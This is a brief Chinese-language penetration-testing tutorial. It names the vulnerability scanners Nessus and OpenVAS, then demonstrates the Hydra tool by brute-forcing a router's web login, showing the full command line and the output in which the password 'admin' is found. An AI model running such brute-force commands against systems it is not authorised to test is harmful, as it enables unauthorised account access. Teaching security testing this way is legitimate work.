滲透攻擊的思路一般是掃描漏洞，然后利用不同的漏洞，才有針對的滲透攻擊。
漏洞掃描的工具有Nessus,該工具可同時在本地或遠端遙控，對系統的漏洞分析掃描。Nessus通過新建掃描策略，並添加對應的插件，便可以對系統漏洞進行掃描。
另一個漏洞掃描工具是OpenVAS,在這里不做說明。
上面說明漏洞掃描，下面說下滲透攻擊常用的工具Hydra和Medusa。
舉個破解路由器登錄密碼的例子。
root@alexknight:~# hydra -l admin -P /tmp/tt.txt -f -V -e nsr -s 80 -t 1 192.168.1.1 http-get Hydra v7.5 (c)2013 by van Hauser/THC & David Maciejak - for legal purposes only Hydra (http://www.thc.org/thc-hydra) starting at 2015-08-09 22:19:37 [WARNING] You must supply the web page as an additional option or via -m, default path set to / [DATA] 1 task, 1 server, 7 login tries (l:1/p:7), ~7 tries per task [DATA] attacking service http-get on port 80 [ATTEMPT] target 192.168.1.1 - login "admin" - pass "admin" - 1 of 7 [child 0] [80][www] host: 192.168.1.1 login: admin password: admin [STATUS] attack finished for 192.168.1.1 (valid pair found) 1 of 1 target successfully completed, 1 valid password found Hydra (http://www.thc.org/thc-hydra) finished at 2015-08-09 22:19:38